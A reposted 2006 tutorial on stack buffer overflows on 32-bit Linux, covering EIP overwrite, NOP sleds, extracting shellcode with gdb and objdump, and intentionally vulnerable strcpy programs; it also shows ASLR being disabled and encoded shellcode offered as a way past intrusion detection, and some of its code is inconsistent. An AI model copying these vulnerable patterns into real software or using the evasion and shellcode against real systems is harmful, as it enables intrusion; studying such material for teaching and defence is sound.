邪恶八进制信息安全团队技术讨论组's Archiver

睡猫 2006-9-8 11:52

[转载]Buffer Overflows, a peek under the hood v1.0

文章作者:Zapotek

.-::Buffer Overflows, a peek under the hood v1.0::-.
          by Zapotek
         zapotekzsp[at]gmail.com


[ 0x00 ] Chapters
================================================
[ 0x01 ] Prologue
[ 0x02 ] Terms & Conventions
[ 0x03 ] Tools, Environment & Prerequisites
[ 0x04 ] Basic Theory
  [ 0x05 ] Buffers
  [ 0x06 ] Boundaries
  [ 0x07 ] Return Address/EIP
  [ 0x08 ] Vulnerable Functions
[ 0x09 ] Shellcode
  [ 0x0a ] NOP sleds
  [ 0x0b ] Basic Example
  [ 0x0c ] Restricted Characters
  [ 0x0d ] Other examples
[ 0x0e ] Basic Buffer Overflow & Exploit Example
[ 0x0f ] Vulnerable TCP/IP server & Exploit code
[ 0x10 ] Epilogue
================================================



[ 0x01 ] Prologue
===============================================
Many papers and exploits have been published regarding buffer overflow vulnerabilities.
Buffer overflows are one of the most hazardous bugs ever, and very liekly to occur as well.

Everyone, in one way or another, has written code vulnerable to an overflow attack.
Furthermore, people enthused in IT security are afraid of the term and think of it as
something impossible to master.

That's why I decided to write this paper, to illustrate in a simple manner,
how buffer overflows work, how dangerous they are and --of course-- how to exploit them.
After reading this paper you will still be far from a buffer overflow master,
but you'll have a fairly good understanding about how they work.

I will not try to cover everything nor get into advanced exploitation techniques,
instead, I'll try to keep it as simple and comprehensible as possible.


[ 0x02 ] Terms & Conventions
===============================================
It would be significantly easier to understand what is written here if you have a basic grasp
of terms and conventions used in this text.

target:
============
A system running the vulnerable service/application which we are about to attack.

exploit/sploit:
===============
A piece of code used to compromise the target.

EIP:
============
Extended Instruction Pointer
Is the memory register which holds the RET address.

RET address:
============
Is the address which is responsible for an application's execution flow.
It is updated by every operation, when that operation is completed, and is read by the next operation
in order, for the next operation, to know where to continue from.

OPCODEs:
========
OPCODEs (OPeration CODEs) are CPU instructions, binary code, encoded into hexadecimal format

Blocks between:
"*********************************************************************************************"
contain code.

Blocks between:
"---------------------------------------------------------------------------------------------"
contain shell output or other preformatted text.


[ 0x03 ] Tools, Environment & Prerequisites
===============================================
In oder for the examples presented here to be functional your system must comply with the following:

CPU:
====
Intel 8086 (x86) 32bit

Operating System:
=================
Linux with a 2.6.x kernel.
Other versions might work, I can't guarantee anything though.
Get it from: [url]http://www.kernel.org/[/url]

Compiler:
=========
gcc 4.1.0 and higher
I'm pretty sure any other version will work, it's just that v.4.1.0 is what I used to develop the examples.
Get it from: [url]http://gcc.gnu.org/[/url]

Debugger:
=========
GDB v6.4 will be used throughout this text so it's better to have it.
Get it from: [url]http://www.gnu.org/software/gdb/[/url]

Dissasembler:
=============
GDB will be used, mainly, but "objdump" is more convenient when it comes to extracting
OPCODEs from executables for the shellcode.
Get it from: [url]http://www.gnu.org/software/binutils/[/url]


Perl:
======
Perl will be used for some examples due to it's ease of use and effectiveness.
Basicaly, I'll use it just because I couldn't get bash to stop messing with the shellcode's encoding. :P
Get it from: [url]http://http://www.perl.org/[/url]

Chances are you already have all that software installed but better make sure.


A basic knowledge of the C programming language is needed.
It would help if you have a fairly good understanding of memory management and x86 assembler,
but that's not that important at the comment.

Also, base conventions will be needed so if you can't read hex get a calculator.
Moreover, hexadecimal ASCII codes will be used so if you can't ,
once more, read hex get a converter or see [url]http://www.neurophys.wisc.edu/www/comp/docs/ascii.html[/url] .

Also be sure that the bellow command is run before continuing further:
---------------------------------------------------------------------------------------------
echo 0 > /proc/sys/kernel/randomize_va_space && ulimit -c unlimited
---------------------------------------------------------------------------------------------

Moreover, on the "[ 0x0f ] Vulnerable TCP/IP server & Exploit code" chapter the TCP/IP server might
need to be run as root or an account that has "bind()" privileges.


Nothing else is required.
Remember that this text will teach you only the very basic stuff which will take place in a perfect realm,
in the real world one must have a GREATER amount of knowledge to exploit buffer overflows.

Let's start making these baby steps now.


[ 0x04 ] Basic Theory
===============================================
This part is very boring so I'll try to keep it short.


[ 0x05 ] Buffers
===============================================
The term 'buffer' represents an array of data, most times characters.
Buffers are either dynamic or static depending on how they are declared in the code.

Static buffer:
*********************************************************************************************
#include <stdio.h>

int main(int argc, char *argv[])
{
  /*
  static buffer of 10 bytes, initialized at program load and stored
  in the data segment
*/
  char buffer[10]="qwertyuio";

  // some more code

  return 0;
}

*********************************************************************************************


Dynamic buffer:
*********************************************************************************************
#include <stdio.h>

int main(int argc, char *argv[])
{
  /*
  dynamic buffer of 10 bytes, initialized at run-time and stored
  in the stack
*/
  char buffer[10];

  /*
  we are using the buffer now and forcing it to hold whatever
  argv[1] is holding
  */
  strcpy(buffer,argv[1]);

  // some more code

  return 0;
}

*********************************************************************************************



[ 0x06 ] Boundaries
===============================================
Boundaries are borders that enclose a memory area.
You are probably thinking:
"But, if boundaries exist buffer overflows shouldn&#39;t."

Well, don&#39;t bet on it.
Thing is, many C functions which have to do with data copying/reading don&#39;t do any boundary checks,
so if an array is declared to hold 10 bytes, a boundary-unsafe function can force it to store 15,
for example, which will cause an error in the execution flow called "Segmentation Fault".

Lets see another code example :
*********************************************************************************************
#include <stdio.h>

int overflow(char *str){
  /*
  dynamic buffer of 10 bytes, initialized at run-time and stored
  in the stack
*/
  char buffer[10];

  /*
  we are using the buffer now and forcing it to hold whatever
  str is holding
  */
  strcpy(buffer,str);

  return 0;

}

int main(int argc, char *argv[])
{
  // our vulnerable function
  overflow(argv[1]);

  // some more code

  return 0;
}

*********************************************************************************************


We are using the "strcpy()" function [ man 3 strcpy ], in our overflow function, which copies the data stored in "str" into "buffer".
We have declared "buffer" to hold up to 10 bytes of data.
Can you imagine what will happen if "argv[1]" contains more than that?
Let&#39;s say 15 bytes, or maybe a lot more?

Let&#39;s see:
---------------------------------------------------------------------------------------------
zapotek@lil-z:/Documents/bo> ./tmp.vuln aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Buffer holds: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Segmentation fault
zapotek@lil-z:/Documents/bo>  
---------------------------------------------------------------------------------------------


Hey, what do you know! We got a seg fault!
"But what the hell a seg fault is?", you&#39;re thinking.
A seg fault occurs because we overwrote part of the memory used
by the program that is critical for it&#39;s execution.

You see, whenever something happens in the program it leaves an address in memory,
called RET (return) address in the EIP (Extended Instruction Pointer),
so that the next operation can continue from there.
If that address is invalid, execution stops and we get a seg fault.

Run the "ulimit -c unlimited" command --to enable core dumps-- and lets see what really happens:

[a] If we supply input under 10 bytes, which the program can handle.
---------------------------------------------------------------------------------------------
zapotek@lil-z:/Documents/bo> ./tmp.vuln aaaaaa
Buffer holds: aaaaaa
zapotek@lil-z:/Documents/bo>
---------------------------------------------------------------------------------------------

Nothing happens, no error, everything runs smoothly.

[b]If we supply the prog with input longer than 10 chars:
---------------------------------------------------------------------------------------------
zapotek@lil-z:/Documents/bo> ./tmp.vuln aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Buffer holds: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Segmentation fault (core dumped)
zapotek@lil-z:/Documents/bo>  
---------------------------------------------------------------------------------------------


This time we have a core dump to study and find out what went wrong.
It&#39;s time to move to the next chapter!


[ 0x07 ] Return Address
===============================================
In simple words, every time the program performs an operation, when that operation completes,
it updates the EIP register with a new address, the RET, return, address.

Then the next operation will read the EIP and continue from where the last operation left off.
The RET points somewhere in memory where an instruction, command, lies.
So, the program runs smoothly without missing data nor instructions.


[ 0x08 ] Vulnerable Functions
===============================================
C has many functions that don&#39;t do any boundary checking, a list follows:

getchar   read a character from STDIN
gets     read a string from STDIN
scanf     read formatted input from
sprintf    write formatted output to a buffer
fread     read from a file
fgets     get a string of characters from a stream
memcpy   copies one buffer to another
memmove   moves one buffer to another
memset    fills a buffer with a character
strcat     concatenates two strings
strcpy    copies one string to another
strncat   concatenates a certain amount of characters of two strings
strncpy   copies a certain amount of characters from one string to another

Basically, any function that copies/reads/moves memory segments is unsafe,
so you must always do boundary checks on your own.


[ 0x09 ] Shellcode
===============================================
That&#39;s a very hard part and we will not get into it that much.
Maybe on another text, but not on this one.

Long story short, a shellcode is a set of machine code, binary, encoded into Hexadecimal format, OPCODEs.
This set of OPCODEs are concatenated into a NULL terminated string.
As you can understand it cannot contain any NULL (0x00) characters in it as they will corrupt the
shellcode in a manner that it&#39;ll terminate it before it&#39;s real ending, when we are trying to exploit
a character buffer that is.

If for example a shellcode contains a NULL in the middle only half the shellcode will be executed.
That&#39;s because NULLs are used as end of string indicators.


[ 0x0a ] NOP sleds
===============================================
A NOP (No OPeration) instruction can be any instruction that doesn&#39;t affect the execution flow.
We usually use the "0x90" OPCODE (Operation CODE) for that.

A NOP-sled is a string of repeated NOPs.
This:
---------------------------------------------------------------------------------------------
0x900x900x900x900x900x900x900x900x90
---------------------------------------------------------------------------------------------
is a NOP-sled and that:
---------------------------------------------------------------------------------------------
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
---------------------------------------------------------------------------------------------
is the same.

"Why do we even use NOPs, they just take up space from the really useful shellcode!"
Well, yes they do, BUT keep in mind that the shellcode is provided to the program
using some input method and then stored somewhere in memory.

We don&#39;t know where, that&#39;s where the NOP-sled comes in handy, a big NOP-sled
increases our odds of guessing the right RET address.
Since NOPs do nothing, using any address that points anywhere in our NOP-sled
the execution flow will eventually reach our shellcode.

Example:

If the string we pass to the application is:
---------------------------------------------------------------------------------------------
\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x43\x65\x87\xe3\x4df0000000
---------------------------------------------------------------------------------------------
and our shellcode is,
---------------------------------------------------------------------------------------------
\x43\x65\x87\xe3\x4d
---------------------------------------------------------------------------------------------
and 0xf0000000 is the address of the begging of the NOP-sled,
the CPU will just continue to the next OPCODE, and then the next, and the next, and the next and it will,
eventually, execute our shellcode.
That&#39;s pretty useful, huh?

Note that the part of the string that overwrites the EIP is not always the last 4 bytes, the above is just an example.


[ 0x0b ] Basic Example
===============================================
We already clarified that a shellcode is a set of  CPU instructions (OPCODEs) coded in a Hexadecimal format.
"WTF dude you want us to learn binary and then convert the code to hex?"
LMAO! Of course not.

Lets say that we want a shellcode that will execute the "uname -a" UNIX comand.
We must first write the program in C, you can choose another language but I like C.

shellcode.c
*********************************************************************************************
int main( )
{
  execve("uname -a");
  exit(0);
}

*********************************************************************************************

That easy, matter of fact it&#39;s just a 40 character long one-liner:

shellcode.c
*********************************************************************************************
int main(){execve("uname -a");exit(0);}
*********************************************************************************************

Hehehehehe.....
OK, let&#39;s get dirty.
(Keep in mind that we need to use the "--static" flag when compiling to include libraries and functions
in the binary)

Lets disassemble "main":
---------------------------------------------------------------------------------------------
zapotek@lil-z:/Documents/bo> gcc --static shellcode.c -o shellcode
zapotek@lil-z:/Documents/bo> ./shellcode
Linux lil-z 2.6.16.13-4-smp #1 SMP Wed May 3 04:53:23 UTC 2006 i686 i686 i386 GNU/Linux
zapotek@lil-z:/Documents/bo> gdb shellcode
GNU gdb 6.4
Copyright 2005 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
---Type <return> to continue, or q <return> to quit---
This GDB was configured as "i586-suse-linux"...Using host libthread_db library "/lib/libthread_db.so.1".

(gdb) disas main
Dump of assembler code for function main:
0x08048248 <main+0>:   lea   0x4(%esp),%ecx
0x0804824c <main+4>:   and   $0xfffffff0,%esp
0x0804824f <main+7>:   pushl  0xfffffffc(%ecx)
0x08048252 <main+10>:  push  %ebp
0x08048253 <main+11>:  mov   %esp,%ebp
0x08048255 <main+13>:  push  %ecx
0x08048256 <main+14>:  sub   $0x4,%esp
0x08048259 <main+17>:  movl  $0x809d748,(%esp)
0x08048260 <main+24>:  call  0x804db30 <execve>
0x08048265 <main+29>:  movl  $0x0,(%esp)
0x0804826c <main+36>:  call  0x80489d0 <exit>
0x08048271 <main+41>:  nop
0x08048272 <main+42>:  nop
0x08048273 <main+43>:  nop
0x08048274 <main+44>:  nop
0x08048275 <main+45>:  nop
0x08048276 <main+46>:  nop
0x08048277 <main+47>:  nop
0x08048278 <main+48>:  nop
0x08048279 <main+49>:  nop
0x0804827a <main+50>:  nop
0x0804827b <main+51>:  nop
0x0804827c <main+52>:  nop
0x0804827d <main+53>:  nop
0x0804827e <main+54>:  nop
0x0804827f <main+55>:  nop
End of assembler dump.
(gdb)
---------------------------------------------------------------------------------------------

"Cool! We have our C coded turned into x86 assembler language!"
But that&#39;s just the "main" function,
we want the "execve" function which lets us execute system commands.

Let&#39;s go one more time:
---------------------------------------------------------------------------------------------
(gdb) disas execve
Dump of assembler code for function execve:
0x0804db30 <execve+0>:  push  %ebp
0x0804db31 <execve+1>:  mov   %esp,%ebp
0x0804db33 <execve+3>:  mov   0xc(%ebp),%ecx
0x0804db36 <execve+6>:  push  %ebx
0x0804db37 <execve+7>:  mov   0x10(%ebp),%edx
0x0804db3a <execve+10>: mov   0x8(%ebp),%ebx
0x0804db3d <execve+13>: mov   $0xb,%eax
0x0804db42 <execve+18>: call  *0x80b6bbc
0x0804db48 <execve+24>: mov   %eax,%ecx
0x0804db4a <execve+26>: cmp   $0xfffff000,%ecx
0x0804db50 <execve+32>: ja    0x804db55 <execve+37>
0x0804db52 <execve+34>: pop   %ebx
0x0804db53 <execve+35>: pop   %ebp
0x0804db54 <execve+36>: ret
0x0804db55 <execve+37>: mov   $0xffffffe8,%eax
0x0804db5a <execve+42>: neg   %ecx
0x0804db5c <execve+44>: mov   %gs:0x0,%edx
0x0804db63 <execve+51>: mov   %ecx,(%edx,%eax,1)
0x0804db66 <execve+54>: mov   $0xffffffff,%eax
0x0804db6b <execve+59>: jmp   0x804db52 <execve+34>
0x0804db6d <execve+61>: nop
0x0804db6e <execve+62>: nop
0x0804db6f <execve+63>: nop
End of assembler dump.
(gdb)
---------------------------------------------------------------------------------------------

But, hey, don&#39;t we want it in hexadecimal?"
Yeah we do, and we can manage that using gdb again,
by giving it the command "x/bx main", and then continue hitting return until we reach the "<main+59>" part.
(The rest are just NOPs.)

See it in action:
---------------------------------------------------------------------------------------------
(gdb) x/bx main
0x8048248 <main>:     0x8d
(gdb)
0x8048249 <main+1>:    0x4c
(gdb)
0x804824a <main+2>:    0x24
(gdb)
0x804824b <main+3>:    0x04
.......
(gdb)
0x804827f <main+43>:   0x90
---------------------------------------------------------------------------------------------

Still, we need "execve" not "main" so:
---------------------------------------------------------------------------------------------
(gdb) x/bx execve
0x804db30 <execve>:    0x55
(gdb)
0x804db31 <execve+1>:  0x89
(gdb)
0x804db32 <execve+2>:  0xe5
(gdb)
0x804db33 <execve+3>:  0x8b
.......
(gdb)
0x804db6f <execve+63>:  0x90
(gdb)
---------------------------------------------------------------------------------------------


We could have used the "objdump" disassembler as well, and we would&#39;ve extracted
the shellcode without hassle, but I prefer to keep the amount of tools used in minimum.

Example follows:
---------------------------------------------------------------------------------------------
zapotek@lil-z:~/Documents/bo> objdump shellcode -d
08048248 <main>:
8048248:  8d 4c 24 04         lea   0x4(%esp),%ecx
804824c:  83 e4 f0           and   $0xfffffff0,%esp
804824f:  ff 71 fc           pushl  0xfffffffc(%ecx)
8048252:  55               push  %ebp
8048253:  89 e5             mov   %esp,%ebp
8048255:  51               push  %ecx
8048256:  83 ec 04           sub   $0x4,%esp
8048259:  c7 04 24 c8 dd 09 08   movl  $0x809ddc8,(%esp)
8048260:  e8 1b 0f 00 00       call  8049180 <__libc_system>
8048265:  c7 04 24 00 00 00 00   movl  $0x0,(%esp)
804826c:  e8 5f 07 00 00       call  80489d0 <exit>
8048271:  90               nop   
8048272:  90               nop   
8048273:  90               nop   
8048274:  90               nop   
8048275:  90               nop   
8048276:  90               nop   
8048277:  90               nop   
8048278:  90               nop   
8048279:  90               nop   
804827a:  90               nop   
804827b:  90               nop   
804827c:  90               nop   
804827d:  90               nop   
804827e:  90               nop   
804827f:  90               nop   

0804e1a0 <__execve>:
804e1a0:  55               push  %ebp
804e1a1:  89 e5             mov   %esp,%ebp
804e1a3:  8b 4d 0c           mov   0xc(%ebp),%ecx
804e1a6:  53               push  %ebx
804e1a7:  8b 55 10           mov   0x10(%ebp),%edx
804e1aa:  8b 5d 08           mov   0x8(%ebp),%ebx
804e1ad:  b8 0b 00 00 00       mov   $0xb,%eax
804e1b2:  ff 15 1c 73 0b 08     call  *0x80b731c
804e1b8:  89 c1             mov   %eax,%ecx
804e1ba:  81 f9 00 f0 ff ff     cmp   $0xfffff000,%ecx
804e1c0:  77 03             ja    804e1c5 <__execve+0x25>
804e1c2:  5b               pop   %ebx
804e1c3:  5d               pop   %ebp
804e1c4:  c3               ret   
804e1c5:  b8 e8 ff ff ff       mov   $0xffffffe8,%eax
804e1ca:  f7 d9             neg   %ecx
804e1cc:  65 8b 15 00 00 00 00   mov   %gs:0x0,%edx
804e1d3:  89 0c 02           mov   %ecx,(%edx,%eax,1)
804e1d6:  b8 ff ff ff ff       mov   $0xffffffff,%eax
804e1db:  eb e5             jmp   804e1c2 <__execve+0x22>
804e1dd:  90               nop   
804e1de:  90               nop   
804e1df:  90               nop   
---------------------------------------------------------------------------------------------

The outputs are the OPCODE equivalents of the assembler instructions.
So if we gather them up we have 2 strings.

One for "main":
---------------------------------------------------------------------------------------------
0x8d0x4c0x240x040x830xe40xf00xff0x710xfc0x550x890xe50x510x830xec
0x040xc70x040x240x480xd70x090x080xe80xcb0x580x000x000xc70x040x240x00
0x000x000x000xe80x5f0x070x000x000x900x900x900x90
---------------------------------------------------------------------------------------------

which won&#39;t do us much good, we must replace every "0x" with "\x" and we will end up with:

<main>:
---------------------------------------------------------------------------------------------
\x8d\x4c\x24\x04\x83\xe4\xf0\xff\x71\xfc\x55\x89\xe5\x51\x83\xec
\x04\xc7\x04\x24\x48\xd7\x09\x08\xe8\xcb\x58\x00\x00\xc7\x04\x24\x00
\x00\x00\x00\xe8\x5f\x07\x00\x00\x90\x90\x90\x90
---------------------------------------------------------------------------------------------

and one for "execve":
---------------------------------------------------------------------------------------------
0x550x890xe50x8b0x4d0x0c0x530x8b0x550x8b0x5d0x080xb80x0b0x000x000x00
0xff0x150xbc0x6b0x0b0x080x890xc10x810xf90x000xf00xff0xff0x770x030x5b
0x5d0xc30xb80xe80xff0xff0xff0xf70xd90x650x8b0x150x000x000x000x000x89
0x0c0x020xb80xff0xff0xff0xff0xeb0xe50x900x900x90
---------------------------------------------------------------------------------------------

and also convert it to:

<execve>:
---------------------------------------------------------------------------------------------
\x55\x89\xe5\x8b\x4d\x0c\x53\x8b\x55\x8b\x5d\x08\xb8\x0b\x00\x00\x00
\xff\x15\xbc\x6b\x0b\x08\x89\xc1\x81\xf9\x00\xf0\xff\xff\x77\x03\x5b
\x5d\xc3\xb8\xe8\xff\xff\xff\xf7\xd9\x65\x8b\x15\x00\x00\x00\x00\x89
\x0c\x02\xb8\xff\xff\xff\xff\xeb\xe5\x90\x90\x90
---------------------------------------------------------------------------------------------

That&#39;s our shellcode!

But we have some NULLs (0x00) in there, that&#39;s not good!
Anyway, I got carried away with the shellcode stuff, you can use shellcode encoders which will eliminate NULLs
and possibly any other character you tell them.

We can test the shellcode using this code:

shellcode.c
*********************************************************************************************
unsigned char shellcode[]=
   "Shellcode here!";

int main(void) { ((void (*)())shellcode)(); }
*********************************************************************************************


Just replace the shellcode with yours.

"But hey you said that if the shellcode has NULLs it won&#39;t work!?!?"
Yes I did, given that we are going to exploit a character buffer,
in the test code we are not exploiting. We are just putting the shellcode into memory and let the CPU execute it.
Moving on.....


[ 0x0c ] Restricted Characters
===============================================
We already mentioned the NULL character,
and why it&#39;s not supposed to be a part of the shellcode when we are exploiting character buffers.

Some other characters you might want to watch out for are:
[i]  NOPs
[ii]  Any other OPCODE

"Are you crazy? Without OPCODEs we have no shellcode!"
No, I haven&#39;t gone crazy.

There are a lot of people out there with IDSs waiting for someone to hit.
100bytes of NOPs in HTTP packets mean that someone is attacking a web server and an IDS will see that with no problem.
It will also see any OPCODE, I mean, a legitimate http packet wont contain OPCODEs, so your busted again.

"So you made me read ALL that crap for nothing?!?!?!?!?!?!"
Dude chill, remember the encoders we talked about?
You can even encode shellcode into mIxEdCaSe ASCII characters.

Our shellcode:
---------------------------------------------------------------------------------------------
\x8d\x4c\x24\x04\x83\xe4\xf0\xff\x71\xfc\x55\x89\xe5\x51\x83\xec
\x04\xc7\x04\x24\xe0\x84\x04\x08\xe8\xf3\xfe\xff\xff\xc7\x04\x24
\x00\x00\x00\x00\xe8\x07\xff\xff\xff\x90\x90\x90
---------------------------------------------------------------------------------------------
can be expressed as:
---------------------------------------------------------------------------------------------
IIIIIIIIIIIIIIIIII7jAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIcHehRDsHp4rCpxtrTtcHVPp4CHf
Xp3D8e5Dt4856DpPxpfRFT8Dwtq1hQvpcahp5wEPxuhWIT8pep50xWEvQsH4xP3pxq
u3SBX6Pp42X1sfWPx4ptt0xebp4t8u5Tp0xFXp4QhTpvTPxfP08rX1uvXRXavVSPxRFS
U0xPf2FCHU61vCHQsP7T8tp04t8GBVTBX6PfPpxtpp0PxdpfPQhS6PD8Qu6Xqh6Pdw
qhU63VQhRFQvPxqv0fpxp9VPqhwI4pRXUiDpA
---------------------------------------------------------------------------------------------

It takes up more space but at least you&#39;ll not spend the night in the pen, if you know what I&#39;m sayin&#39;. ;)


[ 0x0d ] Other examples
===============================================
I won&#39;t write any shellcodes myself, I&#39;ll just include some well know websites.

[url]http://www.milw0rm.com/shellcode/[/url]
[url]http://shellcode.org/shellcode/[/url]
[url]http://metasploit.com:55555/PAYLOADS[/url]

We&#39;re done with the shellcodes, I think you got the idea.
Now to the good stuff!


[ 0x0e ] Basic Buffer Overflow & Exploit Example
=================================================
Let&#39;s get back to our dumped core from our overflowed "tmp.vuln" program from chapter "0x06".

Run "gdb -c core ./tmp.vuln" and follow my lead.
---------------------------------------------------------------------------------------------
zapotek@lil-z:/Documents/bo> gdb -c core ./tmp.vuln
GNU gdb 6.4
Copyright 2005 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i586-suse-linux"...Using host libthread_db library "/lib/libthread_db.so.1".

Core was generated by `./tmp.vuln aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa&#39;.
---Type <return> to continue, or q <return> to quit---
Program terminated with signal 11, Segmentation fault.

warning: Can&#39;t read pathname for load map: Input/output error.
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0  0x61616161 in ?? ()
(gdb) i r eip
eip        0x61616161     0x61616161
(gdb)
---------------------------------------------------------------------------------------------


Using the "i r eip" command we can see our overwritten EIP which holds the new, and invalid, RET address.
In case you wonder, "i r" stands for "info registers".
GDB is kind enough to allow us to use command name abbreviations if they are unambiguous.
"EIP" is the register which holds the RET (return) address, so "i r eip" spits out "EIP"&#39;s content.

Earlier, we said that when an operation is completed it updates the RET address in EIP with the new one,
so the next operation will know from where to take over.

And in this example we filled the EIP with "0x61616161".
If you look up "61" in the ASCII codes table, in hex, you will see it resolve to the "a" character.
Ergo the RET address holds "aaaa".
"Hey! We flood the input with a lot of "a"s! What a coincidence!"
Yeah, right. That&#39;s the whole purpose!
"So if we can overwrite the EIP, doesn&#39;t that mean that we can instruct the program to continue from wherever we want it to????"
Yep, pretty much. And that is what makes buffer overflow exploits work. :)

One problem though, we sent an awful lot of "a"s, how do we know in what place the four "a"s that overwrote the EIP were?
That&#39;s sad, really, for now we will have to just find it by trial and error.
Let&#39;s start the torture, well not really because 10 bytes is a very small buffer.

The basic idea is to use a string pattern, an md5 or sha1 hash would to the job,
however if the buffer we want to overflow is 300bytes you will need a lot of hashes. :P

---------------------------------------------------------------------------------------------
zapotek@lil-z:/Documents/bo> ./tmp.vuln 01234567890qwertyuiopasdfghjkl
Buffer holds: 01234567890qwertyuiopasdfghjkl
Segmentation fault (core dumped)
zapotek@lil-z:/Documents/bo> gdb -c core ./tmp.vuln
GNU gdb 6.4
Copyright 2005 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i586-suse-linux"...Using host libthread_db library "/lib/libthread_db.so.1".

Core was generated by `./tmp.vuln 01234567890qwertyuiopasdfghjkl&#39;.
Program terminated with signal 11, Segmentation fault.

warning: Can&#39;t read pathname for load map: Input/output error.
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0  0x75797472 in ?? ()
(gdb)
---------------------------------------------------------------------------------------------


EIP now holds "0x75797472".
Converted to ASCII that&#39;s "uytr".

And we sent the "01234567890qwertyuiopasdfghjkl"string to our program.

"But, hold on, "uytr" isn&#39;t in there."
Well, it is, it&#39;s just backwards. GDB gives us the addresses in the big-endian format,
while we are using an Intel x86 32bit CPU which stores data using the little-endian format.

For more info on endianness see [url]http://en.wikipedia.org/wiki/Endianness.[/url]

So, "uytr" becomes "rtyu".
And the string becomes "01234567890qwe::::iopasdfghjkl".
I&#39;m using ":" to indicate where the 4 bytes that overwrite the EIP must be placed.

"OK, that&#39;s all pretty nice but how can we execute stuff?"
At the previous chapter we discussed shellcodes, that&#39;s how.

The current buffer is too small to fit any shellcode so let&#39;s use something else:

vulnerable.c
*********************************************************************************************
#include <stdio.h>

int overflow(char *str){
  /*
  dynamic buffer of 10 bytes, initialized at run-time and stored
  in the stack
*/
  char buffer[272];

  /*
  we are initializing the buffer now and forcing it to hold whatever
  str is holding
  */
  strcpy(buffer,str);

  printf("Buffer holds: %s\n",buffer);

  return 0;

}

int main(int argc, char *argv[])
{
  // our vulnerable function
  overflow(argv[1]);
  // some more code

  return 0;
}
*********************************************************************************************


This time we must use a lot of crap to overflow the buffer!
We will use this string:
---------------------------------------------------------------------------------------------
0cc175b9c0f1b6a831c399e269772661f970e2767d0cfe75876ea857f92e319bdf211c
cdd94a63e0bcb9e6ae427a249484a49d60c5aee1e49695056c0c9c1da749bc2a8e1
294692e88bc3cf578b0cf93126b82e453a3a24fec0fa8c12e77dd7ecc8d72a485f94115
71a11f04da21185bfe9de08e72ce518f47ef36e3edc75e88faaf193310d4795bfbbf61ac
35a3185180ada4be
---------------------------------------------------------------------------------------------

It&#39;s a mix of md5 & sha1 hashes, it&#39;s pretty efficient really...

---------------------------------------------------------------------------------------------
zapotek@lil-z:~/Documents/bo> ./vulnerable 0cc175b9c0f1b6a831c399e269772661f970e2767d0cfe75876ea857f92e319bdf211ccdd94a63e0bcb9e6ae427a249484a49d60c5aee1e49695056c0c9c1da749bc2a8e1294692e88bc3cf578b0cf93126b82e453a3a24fec0fa8c12e77dd7ecc8d72a485f9411571a11f04da21185bfe9de08e72ce518f47ef36e3edc75e88faaf193310d4795bfbbf61ac35a3185180ada4be
Buffer holds: 0cc175b9c0f1b6a831c399e269772661f970e2767d0cfe75876ea857f92e319bdf211ccdd94a63e0bcb9e6ae427a249484a49d60c5aee1e49695056c0c9c1da749bc2a8e1294692e88bc3cf578b0cf93126b82e453a3a24fec0fa8c12e77dd7ecc8d72a485f9411571a11f04da21185bfe9de08e72ce518f47ef36e3edc75e88faaf193310d4795bfbbf61ac35a3185180ada4be
Segmentation fault (core dumped)
zapotek@lil-z:~/Documents/bo> gdb -c core ./vulnerable
GNU gdb 6.4
Copyright 2005 Free Software Foundation, Inc.
GDB is free software, covered by the GNU General Public License, and you are
welcome to change it and/or distribute copies of it under certain conditions.
Type "show copying" to see the conditions.
There is absolutely no warranty for GDB.  Type "show warranty" for details.
This GDB was configured as "i586-suse-linux"...Using host libthread_db library "/lib/libthread_db.so.1".

Core was generated by `./vulnerable 0cc175b9c0f1b6a831c399e269772661f970e2767d0cfe75876ea857f92e319bdf&#39;.
Program terminated with signal 11, Segmentation fault.

warning: Can&#39;t read pathname for load map: Input/output error.
Reading symbols from /lib/libc.so.6...done.
Loaded symbols for /lib/libc.so.6
Reading symbols from /lib/ld-linux.so.2...done.
Loaded symbols for /lib/ld-linux.so.2
#0  0x63613136 in ?? ()
(gdb) i r eip
eip        0x63613136     0x63613136
(gdb)
---------------------------------------------------------------------------------------------

Nice, we got us a seg fault and a RET address.
As you can see our RET is "0x63613136" which decodes to "ca16" and written in little-endian is "61ac".
Bingo! That&#39;s our RET address.

If you search the hash pattern we used you&#39;ll find it:

---------------------------------------------------------------------------------------------
0cc175b9c0f1b6a831c399e269772661f970e2767d0cfe75876ea857f92e319bdf211c
cdd94a63e0bcb9e6ae427a249484a49d60c5aee1e49695056c0c9c1da749bc2a8e1
294692e88bc3cf578b0cf93126b82e453a3a24fec0fa8c12e77dd7ecc8d72a485f94115
71a11f04da21185bfe9de08e72ce518f47ef36e3edc75e88faaf193310d4795bfbbf!!!!
35a3185180ada4be
---------------------------------------------------------------------------------------------
I replaced the 4 bytes that overflowed the EIP with "!"s.

